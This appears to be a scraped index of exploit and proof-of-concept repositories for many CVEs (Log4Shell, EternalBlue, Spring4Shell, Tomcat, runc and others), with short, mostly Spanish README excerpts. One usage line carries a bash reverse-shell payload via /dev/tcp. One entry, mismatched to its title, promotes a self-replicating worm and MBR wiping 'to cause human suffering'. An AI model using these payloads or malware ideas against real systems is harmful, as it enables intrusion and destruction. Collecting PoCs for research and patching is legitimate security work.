CVE-2022-37209

CVE-2022-37209 CVE-2022-37209 POC Suggested description JFinal CMS 5.1.0 is vulnerable to SQL Injection. These interfaces do not use the same component, nor do they have filters, but each uses its own SQL concatenation method, resulting in SQL injection. Additional Information...

CVE-2024-37770

CVE-2024-37770 descripción Se descubrió que 14Finger v1.1 contiene una vulnerabilidad de ejecución remota de comandos RCE en la función fingerprint. Esta vulnerabilidad permite a los atacantes ejecutar comandos arbitrarios a través de un payload manipulado. Vector de ataque Atacantes no...

Exploit-CVE-2014-4210-

EMPIEZA CON ALGO GENIAL AMIGOÚSALO PARA JODER MEJORAS PARA CAUSAR SUFRIMIENTO HUMANO: 1. Gusano Autorreplicante : Se propaga mediante ataques de fuerza bruta SSH/explotaciones SMB a todas las redes conectadas. 2. Sobrescritura de MBR : Inutiliza hardware físico destruyendo tablas de particiones s...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 afecta a Apache Tomcat - si es una versión vulnerable y está espectacularmente mal configurado, un atacante puede obtener RCE con un GET y un POST. Más información aquí Este es el script de Yiheng An, Jun Li, Qiang Liu, Haozhe Zhang, Qi Deng del reciente informe...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' Originally, CVE-2023–26326 required gadget chains to exploit it as a deserialization vulnerability. This method is no longer feasible on newer WordPress sites running on PHP 8+; however, by chaining with...

CVE-2020-0618_DETECTION

CVE-2020-0618 - PoC de Detección de RCE en Microsoft SQL Server Reporting Services SSRS 📜 Descripción Este es un PoC sencillo para detectar CVE-2020-0618 , una vulnerabilidad de ejecución remota de código que afecta a Microsoft SQL Server Reporting Services SSRS. La vulnerabilidad existe debido a...

CVE-2020-5902

CVE-2020-5902 Resumen En las versiones 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 y 11.6.1-11.6.5.1 de BIG-IP, la Interfaz de Usuario de Gestión de Tráfico TMUI, también conocida como la utilidad de Configuración, tiene una vulnerabilidad de Ejecución Remota de Código RCE ...

CVE-2019-5736

Uso Edita HOST dentro de payload.c, compila con make. Inicia nc y ejecuta pwn.sh dentro del contenedor. Notas Este exploit es destructivo: sobrescribirá el binario /usr/bin/docker-runc en el host con el payload. También sobrescribirá /bin/sh dentro del contenedor. Probado solo en Debian 9. No se...

ruler

Introducción Ruler es una herramienta que te permite interactuar con servidores Exchange de forma remota, a través del protocolo MAPI/HTTP o RPC/HTTP. El objetivo principal es abusar de las características del lado del cliente de Outlook y obtener una shell de forma remota. Todos los detalles sob...

CVE-2025-5840

CVE-2025-5840 Exploit de CVE-2025-5840 en Python por hax / haxerr9 Cómo Usar: Asegúrate de que Python3 esté instalado en el sistema. Ejecuta "python3 CVE-2025-5840.py URL -c COMMAND". No olvides pasarle los parámetros antes de ejecutar el script. Ejemplo de Uso: NO PROBADO Este exploit no ha sido...

CVE-2017-12149

CVE-2017-12149 Jboss Ejecución Remota de Código por Deserialización Java CVE-2017-12149 El script de Python usa ysoserial para generar dinámicamente el payload. Por lo tanto, también se requiere Java...

CVE-2019-3719

Dell SupportAssist RCE Proof of Concept Prueba de concepto de RCE en Dell SupportAssist Este es el código fuente de la prueba de concepto para CVE-2019-3719, una vulnerabilidad en la mayoría de las máquinas Dell que permitía la ejecución remota de código. Usage Uso python3 main.py Interface Name...

CVE-2017-9841

CVE-2017-9841 Script de escaneo por lotes y explotación de CVE-2017-9841. PHPUnit es un framework de pruebas basado en PHP. Las versiones de PHPUnit anteriores a 4.8.28 y las versiones 5.x anteriores a 5.6.3 presentan una vulnerabilidad de seguridad en el archivo Util/PHP/eval-stdin.php. Un...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE Resumen y Principio del Proyecto El primer exploit del mundo para la vulnerabilidad CVE-2024-4577 PHP-CGI RCE que utiliza el entorno PHP predeterminado XAMPP. El primer exploit del mundo CVE-2024-4577 PHP-CGI RCE que utiliza el entorno PHP predeterminado. Comparte el exploit...

cve-2017-0143

Exploiting CVE-2017-0143 - EternalBlue Vulnerability 📌 Description This project demonstrates how to exploit the CVE-2017-0143 vulnerability EternalBlue in a controlled environment for educational and penetration testing purposes. The attack was performed on a Windows 7 system using Metasploit...

CVE-2017-1000117

CVE-2017-1000117 ¿Cómo funciona? root@kitploit: $ git clone --recursive [email protected]:ikmski/CVE-2017-1000117.git Cómo crear este repositorio root@kitploit: $ cat message.txt | gzip | base64 command $ git submodule add [email protected]:ikmski/Hello-World.git subs/CVE-2017-1000117 $...

CVE-2023-32560

CVE-2023-32560 Ivanti Avalanche v6.4.0.0 RCE POC Referencia: https://www.tenable.com/security/research/tra-2023-27...

cve-2020-11651

CVE-2020-11651 Esta es una POC para CVE-2020-11651, que obtiene RCE sin autenticación en un master de SaltStack y/o todos los minions asociados. Algunos detalles ligeros sobre el problema están aquí. La POC para 2020-11652 no está incluida. Esto obtiene ejecución de comandos en el master creando ...

log4j2-test

Comprobación de la vulnerabilidad de ejecución remota de código LDAP en Log4j2 2.14.1 CVE-2021-44228 🎈 Probado en entorno Spring Boot 2.x Aviso de vulnerabilidad https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml: reduce la versión de Log4j2 a una versión vulnerable...

Spring4Shell-POC

Spring4Shell CVE-2022-22965 - Prueba de Concepto de Ejecución Remota de Código Una Prueba de Concepto PoC totalmente contenerizada que demuestra la explotación de Spring4Shell CVE-2022-22965 , lo que resulta en Ejecución Remota de Código RCE contra una aplicación Spring Framework vulnerable...